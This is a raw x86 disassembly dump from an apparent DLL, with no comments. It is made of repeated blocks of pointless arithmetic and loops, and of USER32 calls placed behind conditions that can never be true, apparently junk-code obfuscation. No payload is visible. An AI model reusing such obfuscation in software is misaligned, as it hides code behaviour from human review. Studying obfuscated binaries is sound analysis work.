mov dword [eax], 0xa1220985
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x10037104
mov dword [ebp - 0x28], 0xfffffff0
jmp 0x10037139
mov dword [ebp - 0x30], 0xfffffffe
mov dword [ebp - 0x30], edi
inc dword [ebp - 0x20]
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 6
jg 0x10037129
mov dword [ebp - 0x1c], 0x12
cmp dword [ebp - 0x1c], 0x13
jg 0x10037385
mov dword [ebp - 0x38], 0xd9978317
lea ecx, [ebp - 0xb94]
mov dword [ebp - 0x48], 0xca8e
push 4
call fcn.1001b2a6
mov byte [ebp - 4], 0x1a
xor eax, eax
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edi
jge 0x10037194
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x2c0], 0xc30bca0b
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x1003717c
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x100371bc
push dword [ebp - 0x10]
lea ecx, [ebp - 0xb94]
call fcn.1001b330
mov dword [eax], 0xfffffffc
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x1003719d
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], eax
jg 0x10037366
jmp 0x100371cc
xor eax, eax
mov dword [ebp - 0x14], eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x100371e7
push 0x11bd
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call ebx
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0x84], 0
je 0x10037349
xor eax, eax
mov dword [ebp - 0x24], 0xadfb1af9
cmp dword [ebp - 0x2c0], eax
je 0x10037213
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x84]
mov eax, dword [ebp - 0x24]
lea ecx, [ebp - 0x40c]
mov eax, dword [ebp - 0x20]
xor esi, esi
push esi
mov eax, dword [ebp + eax*4 - 0x84]
call fcn.1001b330
push edi
lea ecx, [ebp - 0x40c]
call fcn.1001b330
push edi
lea ecx, [ebp - 0x40c]
call fcn.1001b330
mov ecx, dword [ebp - 0x24]
xor edx, edx
cmp ecx, dword [eax]
mov eax, dword [ebp - 0x28]
setle dl
xor ecx, ecx
cmp edx, eax
sete cl
imul ecx, dword [ebp - 0x1c]
test ecx, ecx
je 0x10037268
mov eax, dword [ebp - 0x2c0]
mov eax, dword [ebp - 0x38]
lea ecx, [ebp - 0x40c]
mov eax, dword [ebp - 0x20]
push esi
mov eax, dword [ebp + eax*4 - 0x84]
call fcn.1001b330
mov edi, dword [ebp - 0x24]
lea ecx, [ebp - 0x40c]
push esi
sub edi, dword [eax]
neg edi
sbb edi, edi
inc edi
call fcn.1001b330
mov ecx, dword [ebp - 0x20]
mov esi, eax
xor eax, eax
mov ecx, dword [ebp + ecx*4 - 0x84]
cmp edi, ecx
mov ecx, dword [ebp - 0x20]
setl al
xor edx, edx
add eax, dword [ebp + ecx*4 - 0x84]
mov ecx, dword [ebp - 0x24]
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setge dl
xor ecx, ecx
mov dword [esi], edx
mov edx, dword [ebp + eax*4 - 0x84]
mov eax, dword [ebp - 0x14]
test eax, eax
sets cl
xor edi, edi
sub edx, ecx
inc edi
mov dword [ebp - 0x48], edx
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x20]
push edi
mov dword [ebp + eax*4 - 0x84], ecx
lea ecx, [ebp - 0xb94]
mov eax, dword [ebp - 0x14]
xor eax, eax
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
call fcn.1001b330
mov eax, dword [ebp - 0x14]
xor eax, eax
cmp dword [ebp - 0x2c0], eax
jne 0x10037314
mov esi, eax
cmp dword [ebp - 0x4c], eax
je 0x10037316
mov esi, edi
push eax
lea ecx, [ebp - 0x40c]
call fcn.1001b330
xor ecx, ecx
cmp dword [eax], esi
mov eax, dword [ebp - 0x14]
sete cl
xor edx, edx
cmp ecx, eax
setl dl
xor ecx, ecx
imul edx, dword [ebp - 0x2c]
add edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x24]
cmp edx, eax
setge cl
mov dword [ebp - 0x48], ecx
jmp 0x10037358
push 3
lea ecx, [ebp - 0xeb8]
call fcn.1001b330
inc dword [eax]
inc dword [ebp - 0x20]
xor eax, eax
cmp dword [ebp - 0x20], eax
jle 0x100371ca
lea ecx, [ebp - 0xb94]
mov byte [ebp - 4], 0x19
call fcn.1001b32b
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x13
jle 0x10037150
push 2
pop esi
lea ecx, [ebp - 0x40c]
mov byte [ebp - 4], 0x18
call fcn.1001b32b
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], 6
jg 0x100370d9
or eax, 0xffffffff
lea ecx, [ebp - 0xeb8]
mov dword [ebp - 4], eax
call fcn.1001b32b
push 2
pop esi
push esi
lea ecx, [ebp - 0x7f0]
call fcn.1001b2a6
mov dword [ebp - 4], 0x1b
xor eax, eax
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], esi
jge 0x100373ef
push dword [ebp - 0x24]
lea ecx, [ebp - 0x7f0]
call fcn.1001b330
mov dword [eax], edi
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x100373d5
xor eax, eax
mov dword [ebp - 0x28], eax
jmp 0x1003746c
mov dword [ebp - 0x40], 0x7a888ada
mov dword [ebp - 0x40], edi
cmp dword [ebp - 0x40], eax
jl 0x10037469
mov dword [ebp - 0x24], 0x5efa20bd
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x10037430
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ReleaseDC]
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edi
jg 0x10037464
push dword [ebp - 0x40]
lea ecx, [ebp - 0x7f0]
call fcn.1001b330
push dword [ebp - 0x28]
lea ecx, [ebp - 0x7f0]
mov esi, eax
call fcn.1001b330
mov ecx, dword [esi]
mov dword [eax], ecx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jle 0x10037438
xor eax, eax
dec dword [ebp - 0x40]
jns 0x10037403
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edi
jle 0x100373f4
or esi, 0xffffffff
lea ecx, [ebp - 0x7f0]
mov dword [ebp - 4], esi
call fcn.1001b32b
movdqa xmm0, xmmword [0x1000a7d0]
lea eax, [ebp - 0x1168]
mov dword [ebp - 0x40], 0xfffffff8
lea ecx, [ebp - 0x15b0]
push eax
mov dword [ebp - 0x1c], esi
lea eax, [ebp - 0x1178]
mov dword [ebp - 0x48], 4
mov dword [ebp - 0x3c], 0xfffffff6
mov dword [ebp - 0x30], edi
push eax
movdqu xmmword [ebp - 0x1178], xmm0
call fcn.1001b33f
lea ecx, [ebp - 0x2a9]
mov esi, eax
call fcn.1000b813
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x1000]
push dword [esi]
call fcn.1001b305
xor eax, eax
mov dword [ebp - 4], 0x1c
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edi
jge 0x10037509
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x8c], edi
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x100374f5
xor eax, eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 6
jle 0x100377e1
push 2
pop esi
mov dword [ebp - 0x28], 0x7ad95e17
lea ecx, [ebp - 0x400]
push esi
call fcn.1001b2a6
mov byte [ebp - 4], 0x1d
or eax, 0xffffffff
mov dword [ebp - 0x20], eax
xor eax, eax
mov dword [ebp - 0x4c], 0xb5ad8edc
mov dword [ebp - 0x24], eax
jmp 0x1003755b
push dword [ebp - 0x24]
lea ecx, [ebp - 0x400]
call fcn.1001b330
mov dword [eax], 0xa1220985
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x10037544
mov dword [ebp - 0x28], 0xfffffff0
jmp 0x10037579
mov dword [ebp - 0x30], 0xfffffffe
mov dword [ebp - 0x30], edi
inc dword [ebp - 0x20]
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 6
jg 0x10037569
mov dword [ebp - 0x1c], 0x12
cmp dword [ebp - 0x1c], 0x13
jg 0x100377c5
mov dword [ebp - 0x38], 0xd9978317
lea ecx, [ebp - 0xce4]
mov dword [ebp - 0x48], 0xca8e
push 4
call fcn.1001b2a6
mov byte [ebp - 4], 0x1e
xor eax, eax
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edi
jge 0x100375d4
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1e8], 0xc30bca0b
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x100375bc
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x100375fc
push dword [ebp - 0x10]
lea ecx, [ebp - 0xce4]
call fcn.1001b330
mov dword [eax], 0xfffffffc
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x100375dd
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], eax
jg 0x100377a6
jmp 0x1003760c
xor eax, eax
mov dword [ebp - 0x14], eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x10037627
push 0x11bd
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call ebx
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0x8c], 0
je 0x10037789
xor eax, eax
mov dword [ebp - 0x24], 0xadfb1af9
cmp dword [ebp - 0x1e8], eax
je 0x10037653
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x8c]
mov eax, dword [ebp - 0x24]
lea ecx, [ebp - 0x400]
mov eax, dword [ebp - 0x20]
xor esi, esi
push esi
mov eax, dword [ebp + eax*4 - 0x8c]
call fcn.1001b330
push edi
lea ecx, [ebp - 0x400]
call fcn.1001b330
push edi
lea ecx, [ebp - 0x400]
call fcn.1001b330
mov ecx, dword [ebp - 0x24]
xor edx, edx
cmp ecx, dword [eax]
mov eax, dword [ebp - 0x28]
setle dl
xor ecx, ecx
cmp edx, eax
sete cl
imul ecx, dword [ebp - 0x1c]
test ecx, ecx
je 0x100376a8
mov eax, dword [ebp - 0x1e8]
mov eax, dword [ebp - 0x38]
lea ecx, [ebp - 0x400]
mov eax, dword [ebp - 0x20]
push esi
mov eax, dword [ebp + eax*4 - 0x8c]
call fcn.1001b330
mov edi, dword [ebp - 0x24]
lea ecx, [ebp - 0x400]
push esi
sub edi, dword [eax]
neg edi
sbb edi, edi
inc edi
call fcn.1001b330
mov ecx, dword [ebp - 0x20]
mov esi, eax
xor eax, eax
mov ecx, dword [ebp + ecx*4 - 0x8c]
cmp edi, ecx
mov ecx, dword [ebp - 0x20]
setl al
xor edx, edx
add eax, dword [ebp + ecx*4 - 0x8c]
mov ecx, dword [ebp - 0x24]
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setge dl
xor ecx, ecx
mov dword [esi], edx
mov edx, dword [ebp + eax*4 - 0x8c]
mov eax, dword [ebp - 0x14]
test eax, eax
sets cl
xor edi, edi
sub edx, ecx
inc edi
mov dword [ebp - 0x48], edx
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x20]
push edi
mov dword [ebp + eax*4 - 0x8c], ecx
lea ecx, [ebp - 0xce4]
mov eax, dword [ebp - 0x14]
xor eax, eax
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
call fcn.1001b330
mov eax, dword [ebp - 0x14]
xor eax, eax
cmp dword [ebp - 0x1e8], eax
jne 0x10037754
mov esi, eax
cmp dword [ebp - 0x4c], eax
je 0x10037756
mov esi, edi
push eax
lea ecx, [ebp - 0x400]
call fcn.1001b330
xor ecx, ecx
cmp dword [eax], esi
mov eax, dword [ebp - 0x14]
sete cl
xor edx, edx
cmp ecx, eax
setl dl
xor ecx, ecx
imul edx, dword [ebp - 0x2c]
add edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x24]
cmp edx, eax
setge cl
mov dword [ebp - 0x48], ecx
jmp 0x10037798
push 3
lea ecx, [ebp - 0x1000]
call fcn.1001b330
inc dword [eax]
inc dword [ebp - 0x20]
xor eax, eax
cmp dword [ebp - 0x20], eax
jle 0x1003760a
lea ecx, [ebp - 0xce4]
mov byte [ebp - 4], 0x1d
call fcn.1001b32b
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x13
jle 0x10037590
push 2
pop esi
lea ecx, [ebp - 0x400]
mov byte [ebp - 4], 0x1c
call fcn.1001b32b
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], 6
jg 0x10037519
or esi, 0xffffffff
lea ecx, [ebp - 0x1000]
mov dword [ebp - 4], esi
call fcn.1001b32b
movdqa xmm0, xmmword [0x1000a7d0]
lea eax, [ebp - 0x1368]
mov dword [ebp - 0x40], 0xfffffff8
lea ecx, [ebp - 0x14d0]
push eax
mov dword [ebp - 0x1c], esi
lea eax, [ebp - 0x1378]
mov dword [ebp - 0x48], 4
mov dword [ebp - 0x3c], 0xfffffff6
mov dword [ebp - 0x30], edi
push eax
movdqu xmmword [ebp - 0x1378], xmm0
call fcn.1001b33f
lea ecx, [ebp - 0x21a]
mov esi, eax
call fcn.1000b813
push eax
push dword [esi + 4]
lea ecx, [ebp - 0xed0]
push dword [esi]
call fcn.1001b305
xor eax, eax
mov dword [ebp - 4], 0x1f
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edi
jge 0x10037876
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x80], edi
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x10037865
xor eax, eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 6
jle 0x10037b36
push 2
pop esi
mov dword [ebp - 0x28], 0x7ad95e17
lea ecx, [ebp - 0x3d0]
push esi
call fcn.1001b2a6
mov byte [ebp - 4], 0x20
or eax, 0xffffffff
mov dword [ebp - 0x20], eax
xor eax, eax
mov dword [ebp - 0x4c], 0xb5ad8edc
mov dword [ebp - 0x24], eax
jmp 0x100378c8
push dword [ebp - 0x24]
lea ecx, [ebp - 0x3d0]
call fcn.1001b330
mov dword [eax], 0xa1220985
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x100378b1
mov dword [ebp - 0x28], 0xfffffff0
jmp 0x100378e6
mov dword [ebp - 0x30], 0xfffffffe
mov dword [ebp - 0x30], edi
inc dword [ebp - 0x20]
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 6
jg 0x100378d6
mov dword [ebp - 0x1c], 0x12
cmp dword [ebp - 0x1c], 0x13
jg 0x10037b1a
mov dword [ebp - 0x38], 0xd9978317
lea ecx, [ebp - 0xbac]
mov dword [ebp - 0x48], 0xca8e
push 4
call fcn.1001b2a6
mov byte [ebp - 4], 0x21
xor eax, eax
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edi
jge 0x10037941
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x228], 0xc30bca0b
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x10037929
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x10037969
push dword [ebp - 0x10]
lea ecx, [ebp - 0xbac]
call fcn.1001b330
mov dword [eax], 0xfffffffc
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x1003794a
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], eax
jg 0x10037afb
jmp 0x10037979
xor eax, eax
mov dword [ebp - 0x14], eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x10037994
push 0x11bd
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call ebx
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0x80], 0
je 0x10037ade
xor eax, eax
mov dword [ebp - 0x24], 0xadfb1af9
cmp dword [ebp - 0x228], eax
je 0x100379ba
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x80]
mov eax, dword [ebp - 0x24]
lea ecx, [ebp - 0x3d0]
mov eax, dword [ebp - 0x20]
xor esi, esi
push esi
mov eax, dword [ebp + eax*4 - 0x80]
call fcn.1001b330
push edi
lea ecx, [ebp - 0x3d0]
call fcn.1001b330
push edi
lea ecx, [ebp - 0x3d0]
call fcn.1001b330
mov ecx, dword [ebp - 0x24]
xor edx, edx
cmp ecx, dword [eax]
mov eax, dword [ebp - 0x28]
setle dl
xor ecx, ecx
cmp edx, eax
sete cl
imul ecx, dword [ebp - 0x1c]
test ecx, ecx
je 0x10037a0c
mov eax, dword [ebp - 0x228]
mov eax, dword [ebp - 0x38]
lea ecx, [ebp - 0x3d0]
mov eax, dword [ebp - 0x20]
push esi
mov eax, dword [ebp + eax*4 - 0x80]
call fcn.1001b330
mov edi, dword [ebp - 0x24]
lea ecx, [ebp - 0x3d0]
push esi
sub edi, dword [eax]
neg edi
sbb edi, edi
inc edi
call fcn.1001b330
mov ecx, dword [ebp - 0x20]
mov esi, eax
xor eax, eax
mov ecx, dword [ebp + ecx*4 - 0x80]
cmp edi, ecx
mov ecx, dword [ebp - 0x20]
setl al
xor edx, edx
add eax, dword [ebp + ecx*4 - 0x80]
mov ecx, dword [ebp - 0x24]
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setge dl
xor ecx, ecx
mov dword [esi], edx
mov edx, dword [ebp + eax*4 - 0x80]
mov eax, dword [ebp - 0x14]
test eax, eax
sets cl
xor edi, edi
sub edx, ecx
inc edi
mov dword [ebp - 0x48], edx
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x20]
push edi
mov dword [ebp + eax*4 - 0x80], ecx
lea ecx, [ebp - 0xbac]
mov eax, dword [ebp - 0x14]
xor eax, eax
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
call fcn.1001b330
mov eax, dword [ebp - 0x14]
xor eax, eax
cmp dword [ebp - 0x228], eax
jne 0x10037aa9
mov esi, eax
cmp dword [ebp - 0x4c], eax
je 0x10037aab
mov esi, edi
push eax
lea ecx, [ebp - 0x3d0]
call fcn.1001b330
xor ecx, ecx
cmp dword [eax], esi
mov eax, dword [ebp - 0x14]
sete cl
xor edx, edx
cmp ecx, eax
setl dl
xor ecx, ecx
imul edx, dword [ebp - 0x2c]
add edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x24]
cmp edx, eax
setge cl
mov dword [ebp - 0x48], ecx
jmp 0x10037aed
push 3
lea ecx, [ebp - 0xed0]
call fcn.1001b330
inc dword [eax]
inc dword [ebp - 0x20]
xor eax, eax
cmp dword [ebp - 0x20], eax
jle 0x10037977
lea ecx, [ebp - 0xbac]
mov byte [ebp - 4], 0x20
call fcn.1001b32b
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x13
jle 0x100378fd
push 2
pop esi
lea ecx, [ebp - 0x3d0]
mov byte [ebp - 4], 0x1f
call fcn.1001b32b
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], 6
jg 0x10037886
or esi, 0xffffffff
lea ecx, [ebp - 0xed0]
mov dword [ebp - 4], esi
call fcn.1001b32b
mov dword [ebp - 0x1c], 0xfffffff7
xor ebx, ebx
mov dword [ebp - 0x38], 0xfffffff9
inc ebx
mov dword [ebp - 0x14], ebx
xor eax, eax
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x10037b80
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x6bc], 0xe2
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x10037b68
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x10037bb9
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setle dl
xor ecx, ecx
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x1c]
cmp eax, ebx
setge cl
cmp dword [ebp - 0x1c], ecx
jg 0x10037bb6
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x28], eax
xor eax, eax
mov dword [ebp - 0x28], eax
jmp 0x10037bd9
mov eax, dword [ebp - 0x28]
cmp dword [ebp + eax*4 - 0x6bc], 0
jne 0x10037bde
inc dword [ebp - 0x28]
xor eax, eax
cmp dword [ebp - 0x28], eax
jle 0x10037bc7
push 2
pop edi
push edi
lea ecx, [ebp - 0x8bc]
call fcn.1001b2a6
mov dword [ebp - 4], 0x22
xor eax, eax
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edi
jge 0x10037c1b
push dword [ebp - 0x24]
lea ecx, [ebp - 0x8bc]
call fcn.1001b330
mov dword [eax], ebx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x10037c01
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
jg 0x10037ca8
mov dword [ebp - 0x40], 0x7a888ada
mov dword [ebp - 0x40], ebx
cmp dword [ebp - 0x40], eax
jl 0x10037c9d
mov dword [ebp - 0x24], 0x5efa20bd
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x10037c64
mov ebx, dword [sym.imp.USER32.dll_GetDesktopWindow]
call ebx
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_ReleaseDC]
xor ebx, ebx
xor eax, eax
inc ebx
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jg 0x10037c98
push dword [ebp - 0x40]
lea ecx, [ebp - 0x8bc]
call fcn.1001b330
push dword [ebp - 0x28]
lea ecx, [ebp - 0x8bc]
mov esi, eax
call fcn.1001b330
mov ecx, dword [esi]
mov dword [eax], ecx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jle 0x10037c6c
xor eax, eax
dec dword [ebp - 0x40]
jns 0x10037c36
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jle 0x10037c27
or esi, 0xffffffff
lea ecx, [ebp - 0x8bc]
mov dword [ebp - 4], esi
call fcn.1001b32b
mov dword [ebp - 0x30], 7
mov dword [ebp - 0x30], 0xfffffffa
mov dword [ebp - 0x38], 0x8b108f82
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x4c], 0xfc3eee2f
mov dword [ebp - 0x14], 0xf7d65121
mov dword [ebp - 0x30], 0x99d94b4b
mov dword [ebp - 0x30], 0xf1eb32a8
mov dword [ebp - 0x30], 0xfffffffc
mov dword [ebp - 0x30], 0xfffffffb
mov dword [ebp - 0x38], 0x3c407858
mov dword [ebp - 0x30], ebx
push 0xfffffffffffffff6
pop eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x30], eax
xor eax, eax
mov dword [ebp - 0x740], ebx
mov dword [ebp - 0x73c], ebx
mov dword [ebp - 0x738], ebx
mov dword [ebp - 0x734], ebx
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x24], eax
jmp 0x10037d3e
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x1f0], 0x537c57f3
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x10037d2d
inc dword [ebp - 0x1f0]
mov eax, dword [ebp - 0x73c]
mov eax, dword [ebp - 0x734]
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x38], eax
xor eax, eax
cmp dword [ebp - 0x38], eax
jne 0x10037d85
mov edx, eax
xor ecx, ecx
mov eax, dword [ebp - 0x1f0]
cmp edx, eax
setge cl
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x73c]
add eax, dword [ebp - 0x38]
jne 0x10037d85
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x738]
xor edx, edx
add eax, 0x7fc0336a
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x4c]
cmp ecx, eax
setle dl
xor eax, eax
cmp edx, 0x9711
setge al
mov dword [ebp - 0x4c], eax
mov eax, 0x5bb2c213
mov dword [ebp - 0x4c8], eax
mov dword [ebp - 0x4c4], eax
mov dword [ebp - 0x4c0], eax
mov dword [ebp - 0x4bc], eax
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edi
jge 0x10037ded
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xe0], 0x351f2000
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x10037dd5
xor eax, eax
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 3
jg 0x10037f76
jmp 0x10037e04
xor eax, eax
mov dword [ebp - 0x1c], 0x7a73d2d6
mov dword [ebp - 0x38], 0x370cc321
mov dword [ebp - 0x48], 0x5848308f
mov dword [ebp - 0x2c], 0x4be18a16
mov dword [ebp - 0x1c], 3
cmp dword [ebp - 0x1c], eax
jl 0x10037f5d
mov dword [ebp - 0x14], 0x95ff
mov eax, dword [ebp - 0xe0]
cmp dword [ebp + eax*4 - 0x4c8], 0
jne 0x10037f40
mov eax, dword [ebp - 0x14]
xor edx, edx
mov eax, dword [ebp - 0x4c4]
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0xe0]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setl dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0xe0]
setg cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setle dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x14]
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, 0xeabfd090
setg cl
sub ecx, 0xfb29d945
neg ecx
sbb ecx, ecx
add ecx, 0xfde0
cmp eax, ecx
sbb eax, eax
neg eax
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0xe0]
neg ecx
sbb ecx, ecx
neg ecx
mov eax, dword [ebp + eax*4 - 0x4c8]
imul eax, ecx
xor ecx, ecx
cmp eax, 0xf2dc
mov eax, dword [ebp - 0x2c]
setle cl
sub ecx, eax
xor eax, eax
cmp ecx, 0x492a4153
mov ecx, 0xe7528acb
setg al
xor edx, edx
sub ecx, eax
mov eax, dword [ebp - 0x14]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setg dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0xe0]
setle bl
xor ecx, ecx
cmp ebx, eax
mov eax, dword [ebp - 0xe0]
setg cl
xor ebx, ebx
add ecx, 0xfcb6
inc ebx
mov eax, dword [ebp + eax*4 - 0x4c8]
imul eax, ecx
imul eax, eax, 0x2467
test eax, eax
jne 0x10037f40
cmp dword [ebp - 0x4c8], eax
je 0x10037f42
mov eax, ebx
mov ecx, dword [ebp - 0x2c]
add ecx, eax
mov eax, dword [ebp - 0xe0]
mov dword [ebp + eax*4 - 0x4c8], ecx
dec dword [ebp - 0x1c]
jns 0x10037e30
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x1c], eax
inc dword [ebp - 0xe0]
cmp dword [ebp - 0xe0], 3
jle 0x10037e02
push edi
lea ecx, [ebp - 0x970]
call fcn.1001b2a6
mov dword [ebp - 4], 0x23
xor eax, eax
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edi
jge 0x10037fb0
push dword [ebp - 0x24]
lea ecx, [ebp - 0x970]
call fcn.1001b330
mov dword [eax], ebx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x10037f96
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
jg 0x1003803d
mov dword [ebp - 0x40], 0x7a888ada
mov dword [ebp - 0x40], ebx
cmp dword [ebp - 0x40], eax
jl 0x10038032
mov dword [ebp - 0x24], 0x5efa20bd
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x10037ff9
mov ebx, dword [sym.imp.USER32.dll_GetDesktopWindow]
call ebx
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_ReleaseDC]
xor ebx, ebx
xor eax, eax
inc ebx
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jg 0x1003802d
push dword [ebp - 0x40]
lea ecx, [ebp - 0x970]
call fcn.1001b330
push dword [ebp - 0x28]
lea ecx, [ebp - 0x970]
mov esi, eax
call fcn.1001b330
mov ecx, dword [esi]
mov dword [eax], ecx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jle 0x10038001
xor eax, eax
dec dword [ebp - 0x40]
jns 0x10037fcb
inc dword [ebp - 0x28]
